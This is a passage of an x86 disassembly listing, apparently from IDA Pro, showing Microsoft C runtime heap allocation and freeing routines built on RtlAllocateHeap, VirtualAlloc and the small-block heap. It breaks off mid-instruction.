call dword_4ED18C ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_4CA2EE loc_4CA2CA: ; CODE XREF: sub_4CA24A+26j cmp dword_4F4C44, 0 jz short loc_4CA2EE push esi call __callnewh_0 test eax, eax pop ecx jz short loc_4CA2F7 jmp short loc_4CA26B ; --------------------------------------------------------------------------- loc_4CA2E0: ; CODE XREF: sub_4CA24A+48j push [ebp+Size] ; Size loc_4CA2E3: ; CODE XREF: sub_4CA24A+ABj push 0 ; Val push edi ; Dst call _memset_0 add esp, 0Ch loc_4CA2EE: ; CODE XREF: sub_4CA24A+7Ej ; sub_4CA24A+87j mov eax, edi loc_4CA2F0: ; CODE XREF: sub_4CA24A+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4CA2F4: ; CODE XREF: sub_4CA24A+69j push esi jmp short loc_4CA2E3 ; --------------------------------------------------------------------------- loc_4CA2F7: ; CODE XREF: sub_4CA24A+92j xor eax, eax jmp short loc_4CA2F0 sub_4CA24A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CA2FB proc near ; CODE XREF: sub_4C16C7+7p ; sub_4C85D6+4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_4CA361 mov eax, dword_4F5F04 cmp eax, 3 jnz short loc_4CA327 push esi call ___sbh_find_block_0 pop ecx test eax, eax push esi jz short loc_4CA353 push eax call sub_4CC125 pop ecx pop ecx jmp short loc_4CA361 ; --------------------------------------------------------------------------- loc_4CA327: ; CODE XREF: sub_4CA2FB+14j cmp eax, 2 jnz short loc_4CA352 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_4CCE55 add esp, 0Ch test eax, eax jz short loc_4CA352 push eax push [ebp+arg_0] push [ebp+var_4] call sub_4CCEAC add esp, 0Ch jmp short loc_4CA361 ; --------------------------------------------------------------------------- loc_4CA352: ; CODE XREF: sub_4CA2FB+2Fj ; sub_4CA2FB+44j push esi loc_4CA353: ; CODE XREF: sub_4CA2FB+20j push 0 push dword_4F5F00 call dword_4ED188 ; RtlFreeHeap loc_4CA361: ; CODE XREF: sub_4CA2FB+Aj ; sub_4CA2FB+2Aj ... pop esi leave retn sub_4CA2FB endp ; [00000012 BYTES: COLLAPSED FUNCTION _malloc_0. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4CA3A2 proc near ; CODE XREF: __nh_malloc_0+Bp arg_0 = dword ptr 4 mov eax, dword_4F5F04 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_4CA3C6 cmp esi, dword_4F5EFC ja short loc_4CA3F8 push esi call ___sbh_alloc_block_0 test eax, eax pop ecx jz short loc_4CA3F8 pop esi retn ; --------------------------------------------------------------------------- loc_4CA3C6: ; CODE XREF: sub_4CA3A2+Dj cmp eax, 2 jnz short loc_4CA3F8 mov eax, [esp+4+arg_0] test eax, eax jz short loc_4CA3DB lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_4CA3DE ; --------------------------------------------------------------------------- loc_4CA3DB: ; CODE XREF: sub_4CA3A2+2Fj push 10h pop esi loc_4CA3DE: ; CODE XREF: sub_4CA3A2+37j cmp esi, dword_4F177C ja short loc_4CA405 mov eax, esi shr eax, 4 push eax call sub_4CCEF1 test eax, eax pop ecx jnz short loc_4CA414 jmp short loc_4CA405 ; --------------------------------------------------------------------------- loc_4CA3F8: ; CODE XREF: sub_4CA3A2+15j ; sub_4CA3A2+20j ... test esi, esi jnz short loc_4CA3FF push 1 pop esi loc_4CA3FF: ; CODE XREF: sub_4CA3A2+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_4CA405: ; CODE XREF: sub_4CA3A2+42j ; sub_4CA3A2+54j push esi push 0 push dword_4F5F00 call dword_4ED18C ; RtlAllocateHeap loc_4CA414: ; CODE XREF: sub_4CA3A2+52j pop esi retn sub_4CA3A2 endp ; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf_0. PRESS KEYPAD "+" TO EXPAND] ; [00000721 BYTES: COLLAPSED FUNCTION __output_0. PRESS KEYPAD "+" TO EXPAND] off_4CAC4C dd offset $NORMAL_STATE$1535_0 ; DATA XREF: __output_0+6Er dd offset loc_4CA5A0 ; jump table for switch statement dd offset loc_4CA5BB dd offset loc_4CA607 dd offset loc_4CA63E dd offset loc_4CA646 dd offset loc_4CA67B dd offset loc_4CA70E ; [00000035 BYTES: COLLAPSED FUNCTION _write_char_0. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char_0. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _write_string_0. PRESS KEYPAD "+" TO EXPAND] ; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg_0. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg_0. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg_0. PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION __isctype_0. PRESS KEYPAD "+" TO EXPAND] align 10h __allmul_0: mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_4CADC9 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4CADC9: ; CODE XREF: .text:004CADBEj push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t_0. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION ___tzset_0. PRESS KEYPAD "+" TO EXPAND] ; [0000025E BYTES: COLLAPSED FUNCTION __tzset_0. PRESS KEYPAD "+" TO EXPAND] ; [000001AC BYTES: COLLAPSED FUNCTION __isindst_0. PRESS KEYPAD "+" TO EXPAND] ; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_20. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION _gmtime. PRESS KEYPAD "+" TO EXPAND] ; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter_0. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup_0. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln_0. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp_0. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION __setargv_0. PRESS KEYPAD "+" TO EXPAND] ; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline_0. PRESS KEYPAD "+" TO EXPAND] ; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA_0. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4CBD54 proc near ; CODE XREF: sub_4CBD81+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_4ED050 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_4CBD7F mov ecx, [eax+3Ch] test ecx, ecx jz short loc_4CBD7F add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_4CBD7F: ; CODE XREF: sub_4CBD54+15j ; sub_4CBD54+1Cj pop esi retn sub_4CBD54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CBD81 proc near ; CODE XREF: sub_4CBEC9+20p Str2 = byte ptr -122Ch SubStr = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call __alloca_probe_0 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_4ED1B0 ; GetVersionExA test eax, eax jz short loc_4CBDC4 cmp [ebp+var_88], 2 jnz short loc_4CBDC4 cmp [ebp+var_94], 5 jb short loc_4CBDC4 push 1 pop eax jmp loc_4CBEC6 ; --------------------------------------------------------------------------- loc_4CBDC4: ; CODE XREF: sub_4CBD81+27j ; sub_4CBD81+30j ... lea eax, [ebp+Str2] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_4ED068 ; GetEnvironmentVariableA test eax, eax jz loc_4CBEB3 xor ebx, ebx lea ecx, [ebp+Str2] cmp [ebp+Str2], bl jz short loc_4CBE06 loc_4CBDF3: ; CODE XREF: sub_4CBD81+83j mov al, [ecx] cmp al, 61h jl short loc_4CBE01 cmp al, 7Ah jg short loc_4CBE01 sub al, 20h mov [ecx], al loc_4CBE01: ; CODE XREF: sub_4CBD81+76j ; sub_4CBD81+7Aj inc ecx cmp [ecx], bl jnz short loc_4CBDF3 loc_4CBE06: ; CODE XREF: sub_4CBD81+70j lea eax, [ebp+Str2] push 16h ; MaxCount push eax ; Str2 push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call _strncmp_0 add esp, 0Ch test eax, eax jnz short loc_4CBE28 lea eax, [ebp+Str2] jmp short loc_4CBE71 ; --------------------------------------------------------------------------- loc_4CBE28: ; CODE XREF: sub_4CBD81+9Dj lea eax, [ebp+SubStr] push 104h push eax push ebx call dword_4ED1C4 ; GetModuleFileNameA cmp [ebp+SubStr], bl lea ecx, [ebp+SubStr] jz short loc_4CBE5C loc_4CBE49: ; CODE XREF: sub_4CBD81+D9j mov al, [ecx] cmp al, 61h jl short loc_4CBE57 cmp al, 7Ah jg short loc_4CBE57 sub al, 20h mov [ecx], al loc_4CBE57: ; CODE XREF: sub_4CBD81+CCj ; sub_4CBD81+D0j inc ecx cmp [ecx], bl jnz short loc_4CBE49 loc_4CBE5C: ; CODE XREF: sub_4CBD81+C6j lea eax, [ebp+SubStr] push eax ; SubStr lea eax, [ebp+Str2] push eax ; Str call _strstr_0 pop ecx pop ecx loc_4CBE71: ; CODE XREF: sub_4CBD81+A5j cmp eax, ebx jz short loc_4CBEB3 push 2Ch ; Val push eax ; Str call _strchr_0 pop ecx cmp eax, ebx pop ecx jz short loc_4CBEB3 inc eax mov ecx, eax cmp [eax], bl jz short loc_4CBE98 loc_4CBE8A: ; CODE XREF: sub_4CBD81+115j cmp byte ptr [ecx], 3Bh jnz short loc_4CBE93 mov [ecx], bl jmp short loc_4CBE94 ; --------------------------------------------------------------------------- loc_4CBE93: ; CODE XREF: sub_4CBD81+10Cj inc ecx loc_4CBE94: ; CODE XREF: sub_4CBD81+110j cmp [ecx], bl jnz short loc_4CBE8A loc_4CBE98: ; CODE XREF: sub_4CBD81+107j push 0Ah push ebx push eax call sub_4CDEBE add esp, 0Ch cmp eax, 2 jz short loc_4CBEC6 cmp eax, 3 jz short loc_4CBEC6 cmp eax, 1 jz short loc_4CBEC6 loc_4CBEB3: ; CODE XREF: sub_4CBD81+5Cj ; sub_4CBD81+F2j ... lea eax, [ebp+var_4] push eax call sub_4CBD54 cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_4CBEC6: ; CODE XREF: sub_4CBD81+3Ej ; sub_4CBD81+126j ... pop ebx leave retn sub_4CBD81 endp ; =============== S U B R O U T I N E ======================================= sub_4CBEC9 proc near ; CODE XREF: start+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4ED160 ; HeapCreate test eax, eax mov dword_4F5F00, eax jz short loc_4CBF1F call sub_4CBD81 cmp eax, 3 mov dword_4F5F04, eax jnz short loc_4CBF05 push 3F8h call ___sbh_heap_init_0 pop ecx jmp short loc_4CBF0F ; --------------------------------------------------------------------------- loc_4CBF05: ; CODE XREF: sub_4CBEC9+2Dj cmp eax, 2 jnz short loc_4CBF22 call sub_4CCBF9 loc_4CBF0F: ; CODE XREF: sub_4CBEC9+3Aj test eax, eax jnz short loc_4CBF22 push dword_4F5F00 call dword_4ED164 ; HeapDestroy loc_4CBF1F: ; CODE XREF: sub_4CBEC9+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_4CBF22: ; CODE XREF: sub_4CBEC9+3Fj ; sub_4CBEC9+48j push 1 pop eax retn sub_4CBEC9 endp ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER_0. PRESS KEYPAD "+" TO EXPAND] ; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE_0. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init_0. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC125 proc near ; CODE XREF: sub_4CA2FB+23p ; sub_4CEEC3+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_4CC449 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_4CC1FB sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_4CC189 push 3Fh pop edx loc_4CC189: ; CODE XREF: sub_4CC125+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4CC1DD cmp edx, 20h jnb short loc_4CC1B4 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_4CC1D5 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4CC1D5 ; --------------------------------------------------------------------------- loc_4CC1B4: ; CODE XREF: sub_4CC125+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4CC1D5 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4CC1D5: ; CODE XREF: sub_4CC125+86j ; sub_4CC125+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_4CC1E0 ; --------------------------------------------------------------------------- loc_4CC1DD: ; CODE XREF: sub_4CC125+6Aj mov ecx, [ebp+var_4] loc_4CC1E0: ; CODE XREF: sub_4CC125+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_4CC1FB: ; CODE XREF: sub_4CC125+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_4CC209 push 3Fh pop edx loc_4CC209: ; CODE XREF: sub_4CC125+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_4CC2AC sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_4CC22E mov ebx, esi loc_4CC22E: ; CODE XREF: sub_4CC125+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_4CC240 mov edx, esi loc_4CC240: ; CODE XREF: sub_4CC125+117j cmp ebx, edx jz short loc_4CC2A7 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_4CC28F cmp ebx, 20h jnb short loc_4CC270 mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_4CC28F mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_4CC28F ; --------------------------------------------------------------------------- loc_4CC270: ; CODE XREF: sub_4CC125+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_4CC28F mov ecx, [ebp+arg_0] and [ecx+4], esi loc_4CC28F: ; CODE XREF: sub_4CC125+128j ; sub_4CC125+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_4CC2A7: ; CODE XREF: sub_4CC125+11Dj mov esi, [ebp+arg_4] jmp short loc_4CC2AF ; --------------------------------------------------------------------------- loc_4CC2AC: ; CODE XREF: sub_4CC125+EDj mov ebx, [ebp+arg_0] loc_4CC2AF: ; CODE XREF: sub_4CC125+185j cmp [ebp+var_C], 0 jnz short loc_4CC2BD cmp ebx, edx jz loc_4CC33E loc_4CC2BD: ; CODE XREF: sub_4CC125+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_4CC33E mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_4CC315 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4CC304 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4CC304: ; CODE XREF: sub_4CC125+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_4CC33E ; --------------------------------------------------------------------------- loc_4CC315: ; CODE XREF: sub_4CC125+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4CC32B lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4CC32B: ; CODE XREF: sub_4CC125+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_4CC33E: ; CODE XREF: sub_4CC125+192j ; sub_4CC125+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_4CC449 mov eax, dword_4F5EF0 test eax, eax jz loc_4CC43B mov ecx, dword_4F5EE8 mov esi, dword_4ED15C shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4F5EE8 mov eax, dword_4F5EF0 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4F5EF0 mov ecx, dword_4F5EE8 mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4F5EF0 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4F5EF0 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_4CC3CC and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4F5EF0 loc_4CC3CC: ; CODE XREF: sub_4CC125+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_4CC43B push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_4F5EF0 push dword ptr [eax+10h] push 0 push dword_4F5F00 call dword_4ED188 ; RtlFreeHeap mov eax, dword_4F5EF4 mov edx, dword_4F5EF8 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4F5EF0 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx ; Size lea ecx, [eax+14h] push ecx ; Src push eax ; Dst call _memcpy_2 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4F5EF4 cmp eax, dword_4F5EF0 jbe short loc_4CC431 sub [ebp+arg_0], 14h loc_4CC431: ; CODE XREF: sub_4CC125+306j mov eax, dword_4F5EF8 mov dword_4F5EEC, eax loc_4CC43B: ; CODE XREF: sub_4CC125+234j ; sub_4CC125+2ABj mov eax, [ebp+arg_0] mov dword_4F5EE8, edi mov dword_4F5EF0, eax loc_4CC449: ; CODE XREF: sub_4CC125+38j ; sub_4CC125+227j pop edi pop esi pop ebx leave retn sub_4CC125 endp ; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_0. PRESS KEYPAD "+" TO EXPAND] ; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region_0. PRESS KEYPAD "+" TO EXPAND] ; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group_0. PRESS KEYPAD "+" TO EXPAND] ; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block_0. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4CCBF9 proc near ; CODE XREF: sub_4CBEC9+41p ; sub_4CCEF1:loc_4CD0C0p cmp dword_4EF768, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_4CCC0D mov esi, offset off_4EF758 jmp short loc_4CCC2A ; --------------------------------------------------------------------------- loc_4CCC0D: ; CODE XREF: sub_4CCBF9+Bj push 2020h push 0 push dword_4F5F00 call dword_4ED18C ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_4CCD36 loc_4CCC2A: ; CODE XREF: sub_4CCBF9+12j mov ebp, dword_4ED070 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_4CCD1F push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_4CCD11 mov eax, offset off_4EF758 cmp esi, eax jnz short loc_4CCC89 cmp off_4EF758, 0 jnz short loc_4CCC79 mov off_4EF758, eax loc_4CCC79: ; CODE XREF: sub_4CCBF9+79j cmp off_4EF75C, 0 jnz short loc_4CCC9E mov off_4EF75C, eax jmp short loc_4CCC9E ; --------------------------------------------------------------------------- loc_4CCC89: ; CODE XREF: sub_4CCBF9+70j mov [esi], eax mov eax, off_4EF75C mov [esi+4], eax mov off_4EF75C, esi mov eax, [esi+4] mov [eax], esi loc_4CCC9E: ; CODE XREF: sub_4CCBF9+87j ; sub_4CCBF9+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_4CCCC0: ; CODE XREF: sub_4CCBF9+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_4CCCC0 push ebx ; Size push 0 ; Val push edi ; Dst call _memset_0 add esp, 0Ch loc_4CCCE9: ; CODE XREF: sub_4CCBF9+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_4CCD0D or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_4CCCE9 ; --------------------------------------------------------------------------- loc_4CCD0D: ; CODE XREF: sub_4CCBF9+F7j mov eax, esi jmp short loc_4CCD38 ; --------------------------------------------------------------------------- loc_4CCD11: ; CODE XREF: sub_4CCBF9+63j push 8000h push 0 push edi call dword_4ED15C ; VirtualFree loc_4CCD1F: ; CODE XREF: sub_4CCBF9+4Bj cmp esi, offset off_4EF758 jz short loc_4CCD36 push esi push 0 push dword_4F5F00 call dword_4ED188 ; RtlFreeHeap loc_4CCD36: ; CODE XREF: sub_4CCBF9+2Bj ; sub_4CCBF9+12Cj xor eax, eax loc_4CCD38: ; CODE XREF: sub_4CCBF9+116j pop edi pop esi pop ebp pop ebx retn sub_4CCBF9 endp ; =============== S U B R O U T I N E ======================================= sub_4CCD3D proc near ; CODE XREF: sub_4CCD93+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_4ED15C ; VirtualFree cmp off_4F1778, esi jnz short loc_4CCD62 mov eax, [esi+4] mov off_4F1778, eax loc_4CCD62: ; CODE XREF: sub_4CCD3D+1Bj cmp esi, offset off_4EF758 jz short loc_4CCD8A mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4F5F00 call dword_4ED188 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_4CCD8A: ; CODE XREF: sub_4CCD3D+2Bj or dword_4EF768, 0FFFFFFFFh pop esi retn sub_4CCD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CCD93 proc near ; CODE XREF: sub_4CCEAC+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_4EF75C push edi loc_4CCDA0: ; CODE XREF: sub_4CCD93+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_4CCE3E and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_4CCDB9: ; CODE XREF: sub_4CCD93+72j cmp dword ptr [edi], 0F0h jnz short loc_4CCDFA mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_4ED15C ; VirtualFree test eax, eax jz short loc_4CCDFA or dword ptr [edi], 0FFFFFFFFh dec dword_4F4C48 mov eax, [esi+0Ch] test eax, eax jz short loc_4CCDEF cmp eax, edi jbe short loc_4CCDF2 loc_4CCDEF: ; CODE XREF: sub_4CCD93+56j mov [esi+0Ch], edi loc_4CCDF2: ; CODE XREF: sub_4CCD93+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_4CCE07 loc_4CCDFA: ; CODE XREF: sub_4CCD93+2Cj ; sub_4CCD93+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_4CCDB9 loc_4CCE07: ; CODE XREF: sub_4CCD93+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_4CCE3E cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_4CCE3E push 1 lea eax, [ecx+20h] pop edx loc_4CCE1E: ; CODE XREF: sub_4CCD93+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4CCE2F inc edx add eax, 8 cmp edx, 400h jl short loc_4CCE1E loc_4CCE2F: ; CODE XREF: sub_4CCD93+8Ej cmp edx, 400h jnz short loc_4CCE3E push ecx call sub_4CCD3D pop ecx loc_4CCE3E: ; CODE XREF: sub_4CCD93+11j ; sub_4CCD93+7Dj ... cmp esi, off_4EF75C jz short loc_4CCE50 cmp [ebp+arg_0], 0 jg loc_4CCDA0 loc_4CCE50: ; CODE XREF: sub_4CCD93+B1j pop edi pop esi pop ebx leave retn sub_4CCD93 endp ; =============== S U B R O U T I N E ======================================= sub_4CCE55 proc near ; CODE XREF: sub_4CA2FB+3Ap ; sub_4CEEC3+173p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_4EF758 push esi mov ecx, edx loc_4CCE61: ; CODE XREF: sub_4CCE55+1Cj cmp eax, [ecx+10h] jbe short loc_4CCE6B cmp eax, [ecx+14h] jb short loc_4CCE73 loc_4CCE6B: ; CODE XREF: sub_4CCE55+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_4CCEA8 jmp short loc_4CCE61 ; --------------------------------------------------------------------------- loc_4CCE73: ; CODE XREF: sub_4CCE55+14j test al, 0Fh jnz short loc_4CCEA8 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_4CCEA8 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_4CCEA8: ; CODE XREF: sub_4CCE55+1Aj ; sub_4CCE55+20j ... xor eax, eax pop esi retn sub_4CCE55 endp ; =============== S U B R O U T I N E ======================================= sub_4CCEAC proc near ; CODE XREF: sub_4CA2FB+4Dp ; sub_4CEEC3+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_4CCEF0 inc dword_4F4C48 cmp dword_4F4C48, 20h jnz 